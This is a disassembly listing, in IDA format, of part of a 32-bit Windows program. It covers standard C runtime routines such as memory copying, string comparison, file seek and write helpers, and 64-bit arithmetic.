loc_41CCEC:				; CODE XREF: sub_41CC90+31j
					; sub_41CC90+8Ej ...
		jmp	off_41CD6C[ecx*4]
; ---------------------------------------------------------------------------
		db 90h
		dd offset loc_41CD00
		dd offset loc_41CD2C
		dd offset loc_41CD50
; ---------------------------------------------------------------------------

loc_41CD00:				; DATA XREF: sub_41CC90+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_41CCEC
		rep movsd
		jmp	off_41CDD8[edx*4]
; ---------------------------------------------------------------------------
		align 4

loc_41CD2C:				; DATA XREF: sub_41CC90+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_41CCEC
		rep movsd
		jmp	off_41CDD8[edx*4]
; ---------------------------------------------------------------------------
		align 10h

loc_41CD50:				; DATA XREF: sub_41CC90+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_41CCEC
		rep movsd
		jmp	off_41CDD8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41CD6C	dd offset loc_41CDCF	; DATA XREF: sub_41CC90:loc_41CCECr
		dd offset loc_41CDBC
		dd offset loc_41CDB4
		dd offset loc_41CDAC
		dd offset loc_41CDA4
		dd offset loc_41CD9C
		dd offset loc_41CD94
		dd offset loc_41CD8C
; ---------------------------------------------------------------------------

loc_41CD8C:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax

loc_41CD94:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax

loc_41CD9C:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax

loc_41CDA4:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax

loc_41CDAC:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax

loc_41CDB4:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax

loc_41CDBC:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax

loc_41CDCF:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90:off_41CD6Co
		jmp	off_41CDD8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41CDD8	dd offset loc_41CDE8	; DATA XREF: sub_41CC90+35r
					; sub_41CC90+92r ...
		dd offset loc_41CDF0
		dd offset loc_41CDFC
		dd offset loc_41CE10
; ---------------------------------------------------------------------------

loc_41CDE8:				; CODE XREF: sub_41CC90+35j
					; sub_41CC90+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h

loc_41CDF0:				; CODE XREF: sub_41CC90+35j
					; sub_41CC90+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41CDFC:				; CODE XREF: sub_41CC90+35j
					; sub_41CC90+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h

loc_41CE10:				; CODE XREF: sub_41CC90+35j
					; sub_41CC90+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41CE28:				; CODE XREF: sub_41CC90+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41CE5C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41CE50
		std
		rep movsd
		cld
		jmp	off_41CF70[edx*4]
; ---------------------------------------------------------------------------
		align 10h

loc_41CE50:				; CODE XREF: sub_41CC90+1B1j
					; sub_41CC90+208j ...
		neg	ecx
		jmp	off_41CF20[ecx*4]
; ---------------------------------------------------------------------------
		align 4

loc_41CE5C:				; CODE XREF: sub_41CC90+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_41CE74
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_41CE74+4[eax*4]
; ---------------------------------------------------------------------------

loc_41CE74:				; CODE XREF: sub_41CC90+1D6j
					; DATA XREF: sub_41CC90+1DDr
		jmp	off_41CF70[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41CE87+1
		dd offset loc_41CEA8
; ---------------------------------------------------------------------------
		ror	dh, 1
		inc	ecx

loc_41CE87:				; DATA XREF: sub_41CC90+1ECo
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_41CE50
		std
		rep movsd
		cld
		jmp	off_41CF70[edx*4]
; ---------------------------------------------------------------------------
		align 4

loc_41CEA8:				; DATA XREF: sub_41CC90+1F0o
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_41CE50
		std
		rep movsd
		cld
		jmp	off_41CF70[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_41CE50
		std
		rep movsd
		cld
		jmp	off_41CF70[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41CF24
		dd offset loc_41CF2C
		dd offset loc_41CF34
		dd offset loc_41CF3C
		dd offset loc_41CF44
		dd offset loc_41CF4C
		dd offset loc_41CF54
off_41CF20	dd offset loc_41CF67	; DATA XREF: sub_41CC90+1C2r
; ---------------------------------------------------------------------------

loc_41CF24:				; DATA XREF: sub_41CC90+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax

loc_41CF2C:				; DATA XREF: sub_41CC90+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax

loc_41CF34:				; DATA XREF: sub_41CC90+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax

loc_41CF3C:				; DATA XREF: sub_41CC90+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax

loc_41CF44:				; DATA XREF: sub_41CC90+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax

loc_41CF4C:				; DATA XREF: sub_41CC90+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax

loc_41CF54:				; DATA XREF: sub_41CC90+28Co
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax

loc_41CF67:				; CODE XREF: sub_41CC90+1C2j
					; DATA XREF: sub_41CC90:off_41CF20o
		jmp	off_41CF70[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_41CF70	dd offset loc_41CF80	; DATA XREF: sub_41CC90+1B7r
					; sub_41CC90:loc_41CE74r ...
		dd offset loc_41CF88
		dd offset loc_41CF98
		dd offset loc_41CFAC
; ---------------------------------------------------------------------------

loc_41CF80:				; CODE XREF: sub_41CC90+1B7j
					; sub_41CC90:loc_41CE74j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41CF88:				; CODE XREF: sub_41CC90+1B7j
					; sub_41CC90:loc_41CE74j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41CF98:				; CODE XREF: sub_41CC90+1B7j
					; sub_41CC90:loc_41CE74j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41CFAC:				; CODE XREF: sub_41CC90+1B7j
					; sub_41CC90:loc_41CE74j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_41CC90	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CFC5	proc near		; CODE XREF: sub_40D78B+34p
					; sub_40D78B+4Fp ...

arg_0		= dword	ptr  4

		push	1
		push	[esp+4+arg_0]
		call	sub_41B4E7
		pop	ecx
		pop	ecx
		retn
sub_41CFC5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CFD3	proc near		; CODE XREF: sub_41D040+4p

arg_0		= dword	ptr  4

		push	esi
		push	dword_4DC91C
		call	sub_422608
		mov	edx, dword_4DC91C
		pop	ecx
		mov	ecx, dword_4DC918
		mov	esi, ecx
		sub	esi, edx
		add	esi, 4
		cmp	eax, esi
		pop	esi
		jnb	short loc_41D032
		push	edx
		call	sub_422608
		add	eax, 10h
		push	eax
		push	dword_4DC91C
		call	sub_41B202
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41D015
		retn
; ---------------------------------------------------------------------------

loc_41D015:				; CODE XREF: sub_41CFD3+3Fj
		mov	ecx, dword_4DC918
		sub	ecx, dword_4DC91C
		mov	dword_4DC91C, eax
		sar	ecx, 2
		lea	ecx, [eax+ecx*4]
		mov	dword_4DC918, ecx

loc_41D032:				; CODE XREF: sub_41CFD3+23j
		mov	eax, [esp+arg_0]
		mov	[ecx], eax
		add	dword_4DC918, 4
		retn
sub_41CFD3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D040	proc near		; CODE XREF: sub_40D878+1Ap

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41CFD3
		neg	eax
		sbb	eax, eax
		pop	ecx
		neg	eax
		dec	eax
		retn
sub_41D040	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D052	proc near		; DATA XREF: ___:0042901Co
		push	80h
		call	sub_41B4D5
		test	eax, eax
		pop	ecx
		mov	dword_4DC91C, eax
		jnz	short loc_41D073
		push	18h
		call	sub_41DA29
		mov	eax, dword_4DC91C
		pop	ecx

loc_41D073:				; CODE XREF: sub_41D052+12j
		and	dword ptr [eax], 0
		mov	eax, dword_4DC91C
		mov	dword_4DC918, eax
		retn
sub_41D052	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D081	proc near		; CODE XREF: ___:0040DB4Bp

var_CC		= byte ptr -0CCh
var_32		= word ptr -32h
var_24		= dword	ptr -24h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1A		= word ptr -1Ah
var_18		= word ptr -18h
var_16		= word ptr -16h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0CCh
		lea	eax, [ebp+var_10]
		push	eax
		nop
		call	near ptr 27700AFh
		lea	eax, [ebp+var_20]
		push	eax
		nop
		call	near ptr 2860000h
		mov	ax, [ebp+var_16]
		cmp	ax, word_4DB2E2
		jnz	short loc_41D0E6
		mov	ax, [ebp+var_18]
		cmp	ax, word_4DB2E0
		jnz	short loc_41D0E6
		mov	ax, [ebp+var_1A]
		cmp	ax, word_4DB2DE
		jnz	short loc_41D0E6
		mov	ax, [ebp+var_1E]
		cmp	ax, word_4DB2DA
		jnz	short loc_41D0E6
		mov	ax, [ebp+var_20]
		cmp	ax, word_4DB2D8
		jnz	short loc_41D0E6
		mov	eax, dword_4DB2D0
		jmp	short loc_41D12B
; ---------------------------------------------------------------------------

loc_41D0E6:				; CODE XREF: sub_41D081+28j
					; sub_41D081+35j ...
		lea	eax, [ebp+var_CC]
		push	eax
		call	near ptr 2850000h
		nop
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41D113
		cmp	eax, 2
		jnz	short loc_41D10F
		cmp	[ebp+var_32], 0
		jz	short loc_41D10F
		cmp	[ebp+var_24], 0
		jz	short loc_41D10F
		push	1
		pop	eax
		jmp	short loc_41D116
; ---------------------------------------------------------------------------

loc_41D10F:				; CODE XREF: sub_41D081+7Aj
					; sub_41D081+81j ...
		xor	eax, eax
		jmp	short loc_41D116
; ---------------------------------------------------------------------------

loc_41D113:				; CODE XREF: sub_41D081+75j
		or	eax, 0FFFFFFFFh

loc_41D116:				; CODE XREF: sub_41D081+8Cj
					; sub_41D081+90j
		push	esi
		push	edi
		lea	esi, [ebp+var_20]
		mov	edi, offset word_4DB2D8
		movsd
		movsd
		movsd
		movsd
		pop	edi
		mov	dword_4DB2D0, eax
		pop	esi

loc_41D12B:				; CODE XREF: sub_41D081+63j
		push	eax
		movzx	eax, [ebp+var_4]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		call	sub_422669
		mov	ecx, [ebp+arg_0]
		add	esp, 1Ch
		test	ecx, ecx
		jz	short locret_41D15B
		mov	[ecx], eax

locret_41D15B:				; CODE XREF: sub_41D081+D6j
		leave
		retn
sub_41D081	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D160	proc near

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+arg_0]
		lea	eax, dword_4DB32C
		cmp	dword ptr [eax+8], 0
		jnz	short loc_41D1B3
		mov	al, 0FFh
		mov	edi, edi

loc_41D17C:				; CODE XREF: sub_41D160+28j
					; sub_41D160+48j
		or	al, al
		jz	short loc_41D1AE
		mov	al, [esi]
		inc	esi
		mov	ah, [edi]
		inc	edi
		cmp	ah, al
		jz	short loc_41D17C
		sub	al, 41h
		cmp	al, 1Ah
		sbb	cl, cl
		and	cl, 20h
		add	al, cl
		add	al, 41h
		xchg	ah, al
		sub	al, 41h
		cmp	al, 1Ah
		sbb	cl, cl
		and	cl, 20h
		add	al, cl
		add	al, 41h
		cmp	al, ah
		jz	short loc_41D17C
		sbb	al, al
		sbb	al, 0FFh

loc_41D1AE:				; CODE XREF: sub_41D160+1Ej
		movsx	eax, al
		jmp	short loc_41D1E7
; ---------------------------------------------------------------------------

loc_41D1B3:				; CODE XREF: sub_41D160+16j
		mov	eax, 0FFh
		xor	ebx, ebx
		mov	edi, edi

loc_41D1BC:				; CODE XREF: sub_41D160+68j
					; sub_41D160+80j
		or	al, al
		jz	short loc_41D1E7
		mov	al, [esi]
		inc	esi
		mov	bl, [edi]
		inc	edi
		cmp	al, bl
		jz	short loc_41D1BC
		push	eax
		push	ebx
		call	sub_41D74C
		mov	ebx, eax
		add	esp, 4
		call	sub_41D74C
		add	esp, 4
		cmp	bl, al
		jz	short loc_41D1BC
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh

loc_41D1E7:				; CODE XREF: sub_41D160+51j
					; sub_41D160+5Ej
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_41D160	endp

; ---------------------------------------------------------------------------
		push	esi
		mov	esi, [esp+8]
		push	edi
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_41D268
		mov	edi, [esp+14h]
		test	edi, edi
		jz	short loc_41D20B
		cmp	edi, 1
		jz	short loc_41D20B
		cmp	edi, 2
		jnz	short loc_41D268

loc_41D20B:				; CODE XREF: ___:0041D1FFj
					; ___:0041D204j
		and	al, 0EFh
		cmp	edi, 1
		mov	[esi+0Ch], eax
		jnz	short loc_41D222
		push	esi
		call	sub_4227C5
		add	[esp+14h], eax
		pop	ecx
		xor	edi, edi

loc_41D222:				; CODE XREF: ___:0041D213j
		push	esi
		call	sub_41DB8B
		mov	eax, [esi+0Ch]
		pop	ecx
		test	al, 80h
		jz	short loc_41D237
		and	al, 0FCh
		mov	[esi+0Ch], eax
		jmp	short loc_41D24B
; ---------------------------------------------------------------------------

loc_41D237:				; CODE XREF: ___:0041D22Ej
		test	al, 1
		jz	short loc_41D24B
		test	al, 8
		jz	short loc_41D24B
		test	ah, 4
		jnz	short loc_41D24B
		mov	dword ptr [esi+18h], 200h

loc_41D24B:				; CODE XREF: ___:0041D235j
					; ___:0041D239j ...
		push	edi
		push	dword ptr [esp+14h]
		push	dword ptr [esi+10h]
		call	sub_42272B
		add	esp, 0Ch
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		dec	ecx
		mov	eax, ecx
		jmp	short loc_41D275
; ---------------------------------------------------------------------------

loc_41D268:				; CODE XREF: ___:0041D1F7j
					; ___:0041D209j
		mov	dword_4DB278, 16h
		or	eax, 0FFFFFFFFh

loc_41D275:				; CODE XREF: ___:0041D266j
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41D280	proc near		; CODE XREF: sub_412B08+19Ep
					; sub_41386B+11Bp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_C]
		or	ecx, eax
		mov	ecx, [esp+arg_8]
		jnz	short loc_41D299
		mov	eax, [esp+arg_0]
		mul	ecx
		retn	10h
; ---------------------------------------------------------------------------

loc_41D299:				; CODE XREF: sub_41D280+Ej
		push	ebx
		mul	ecx
		mov	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	[esp+4+arg_C]
		add	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	ecx
		add	edx, ebx
		pop	ebx
		retn	10h
sub_41D280	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D2B4	proc near		; CODE XREF: ___:004162E3p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		test	edi, edi
		mov	[ebp+arg_0], eax
		mov	ebx, edi
		jnz	short loc_41D2D8
		xor	eax, eax
		jmp	loc_41D3A5
; ---------------------------------------------------------------------------

loc_41D2D8:				; CODE XREF: sub_41D2B4+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_41D2EB
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_41D2F2
; ---------------------------------------------------------------------------

loc_41D2EB:				; CODE XREF: sub_41D2B4+2Dj
		mov	[ebp+arg_C], 1000h

loc_41D2F2:				; CODE XREF: sub_41D2B4+35j
					; sub_41D2B4+E8j
		mov	ecx, [esi+0Ch]
		and	ecx, 108h
		jz	short loc_41D326
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_41D326
		cmp	ebx, eax
		mov	edi, ebx
		jb	short loc_41D30C
		mov	edi, eax

loc_41D30C:				; CODE XREF: sub_41D2B4+54j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi]
		call	sub_41C310
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		sub	ebx, edi
		add	[ebp+arg_0], edi
		jmp	short loc_41D36C
; ---------------------------------------------------------------------------

loc_41D326:				; CODE XREF: sub_41D2B4+47j
					; sub_41D2B4+4Ej
		cmp	ebx, [ebp+arg_C]
		jb	short loc_41D371
		test	ecx, ecx
		jz	short loc_41D33A
		push	esi
		call	sub_41DB8B
		test	eax, eax
		pop	ecx
		jnz	short loc_41D3B3

loc_41D33A:				; CODE XREF: sub_41D2B4+79j
		cmp	[ebp+arg_C], 0
		jz	short loc_41D34D
		mov	eax, ebx
		xor	edx, edx
		div	[ebp+arg_C]
		mov	edi, ebx
		sub	edi, edx
		jmp	short loc_41D34F
; ---------------------------------------------------------------------------

loc_41D34D:				; CODE XREF: sub_41D2B4+8Aj
		mov	edi, ebx

loc_41D34F:				; CODE XREF: sub_41D2B4+97j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi+10h]
		call	sub_42291D
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41D3AA
		add	[ebp+arg_0], eax
		sub	ebx, eax
		cmp	eax, edi
		jb	short loc_41D3AA

loc_41D36C:				; CODE XREF: sub_41D2B4+70j
		mov	edi, [ebp+var_4]
		jmp	short loc_41D39A
; ---------------------------------------------------------------------------

loc_41D371:				; CODE XREF: sub_41D2B4+75j
		mov	eax, [ebp+arg_0]
		push	esi
		movsx	eax, byte ptr [eax]
		push	eax
		call	sub_41F58A
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41D3B3
		inc	[ebp+arg_0]
		mov	eax, [esi+18h]
		dec	ebx
		mov	[ebp+arg_C], eax
		test	eax, eax
		jg	short loc_41D39A
		mov	[ebp+arg_C], 1

loc_41D39A:				; CODE XREF: sub_41D2B4+BBj
					; sub_41D2B4+DDj
		test	ebx, ebx
		jnz	loc_41D2F2
		mov	eax, [ebp+arg_8]

loc_41D3A5:				; CODE XREF: sub_41D2B4+1Fj
					; sub_41D2B4+108j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_41D3AA:				; CODE XREF: sub_41D2B4+ADj
					; sub_41D2B4+B6j
		or	dword ptr [esi+0Ch], 20h
		mov	eax, [ebp+var_4]
		jmp	short loc_41D3B5
; ---------------------------------------------------------------------------

loc_41D3B3:				; CODE XREF: sub_41D2B4+84j
					; sub_41D2B4+CFj
		mov	eax, edi

loc_41D3B5:				; CODE XREF: sub_41D2B4+FDj
		sub	eax, ebx
		xor	edx, edx
		div	[ebp+arg_4]
		jmp	short loc_41D3A5
sub_41D2B4	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D3BE	proc near		; CODE XREF: sub_416908+8p

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	[esp+arg_0]
		call	near ptr 2680CF2h
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41D3DE
		nop
		call	near ptr 2680835h
		push	eax
		call	sub_4203DF
		pop	ecx

loc_41D3DA:				; CODE XREF: sub_41D3BE+3Fj
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------

loc_41D3DE:				; CODE XREF: sub_41D3BE+Dj
		test	al, 1
		jz	short loc_41D3FF
		test	[esp+arg_4], 2
		jz	short loc_41D3FF
		mov	dword_4DB278, 0Dh
		mov	dword_4DB27C, 5
		jmp	short loc_41D3DA
; ---------------------------------------------------------------------------

loc_41D3FF:				; CODE XREF: sub_41D3BE+22j
					; sub_41D3BE+29j
		xor	eax, eax
		retn
sub_41D3BE	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41D410	proc near		; CODE XREF: sub_416922+3Fp
					; sub_41A98C+24p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_C]
		or	eax, eax
		jnz	short loc_41D432
		mov	ecx, [esp+8+arg_8]
		mov	eax, [esp+8+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+8+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_41D473
; ---------------------------------------------------------------------------

loc_41D432:				; CODE XREF: sub_41D410+8j
		mov	ecx, eax
		mov	ebx, [esp+8+arg_8]
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]

loc_41D440:				; CODE XREF: sub_41D410+3Aj
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_41D440
		div	ebx
		mov	esi, eax
		mul	[esp+8+arg_C]
		mov	ecx, eax
		mov	eax, [esp+8+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_41D46E
		cmp	edx, [esp+8+arg_4]
		ja	short loc_41D46E
		jb	short loc_41D46F
		cmp	eax, [esp+8+arg_0]
		jbe	short loc_41D46F

loc_41D46E:				; CODE XREF: sub_41D410+4Ej
					; sub_41D410+54j
		dec	esi

loc_41D46F:				; CODE XREF: sub_41D410+56j
					; sub_41D410+5Cj
		xor	edx, edx
		mov	eax, esi

loc_41D473:				; CODE XREF: sub_41D410+20j
		pop	esi
		pop	ebx
		retn	10h
sub_41D410	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41D480	proc near		; CODE XREF: sub_416922+2Dp
					; sub_41A98C+3Dp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	eax, [esp+4+arg_C]
		or	eax, eax
		jnz	short loc_41D4A1
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		xor	edx, edx
		div	ecx
		mov	eax, [esp+4+arg_0]
		div	ecx
		mov	eax, edx
		xor	edx, edx
		jmp	short loc_41D4F1
; ---------------------------------------------------------------------------

loc_41D4A1:				; CODE XREF: sub_41D480+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		mov	eax, [esp+4+arg_0]

loc_41D4AF:				; CODE XREF: sub_41D480+39j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_41D4AF
		div	ebx
		mov	ecx, eax
		mul	[esp+4+arg_C]
		xchg	eax, ecx
		mul	[esp+4+arg_8]
		add	edx, ecx
		jb	short loc_41D4DA
		cmp	edx, [esp+4+arg_4]
		ja	short loc_41D4DA
		jb	short loc_41D4E2
		cmp	eax, [esp+4+arg_0]
		jbe	short loc_41D4E2

loc_41D4DA:				; CODE XREF: sub_41D480+4Aj
					; sub_41D480+50j
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]

loc_41D4E2:				; CODE XREF: sub_41D480+52j
					; sub_41D480+58j
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]
		neg	edx
		neg	eax
		sbb	edx, 0

loc_41D4F1:				; CODE XREF: sub_41D480+1Fj
		pop	ebx
		retn	10h
sub_41D480	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41D500	proc near		; CODE XREF: sub_416A32+5Fp
					; sub_416A32+92p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	edi
		push	esi
		push	ebx
		xor	edi, edi
		mov	eax, [esp+0Ch+arg_4]
		or	eax, eax
		jge	short loc_41D521
		inc	edi
		mov	edx, [esp+0Ch+arg_0]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_4], eax
		mov	[esp+0Ch+arg_0], edx

loc_41D521:				; CODE XREF: sub_41D500+Bj
		mov	eax, [esp+0Ch+arg_C]
		or	eax, eax
		jge	short loc_41D53D
		inc	edi
		mov	edx, [esp+0Ch+arg_8]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_C], eax
		mov	[esp+0Ch+arg_8], edx

loc_41D53D:				; CODE XREF: sub_41D500+27j
		or	eax, eax
		jnz	short loc_41D559
		mov	ecx, [esp+0Ch+arg_8]
		mov	eax, [esp+0Ch+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+0Ch+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_41D59A
; ---------------------------------------------------------------------------

loc_41D559:				; CODE XREF: sub_41D500+3Fj
		mov	ebx, eax
		mov	ecx, [esp+0Ch+arg_8]
		mov	edx, [esp+0Ch+arg_4]
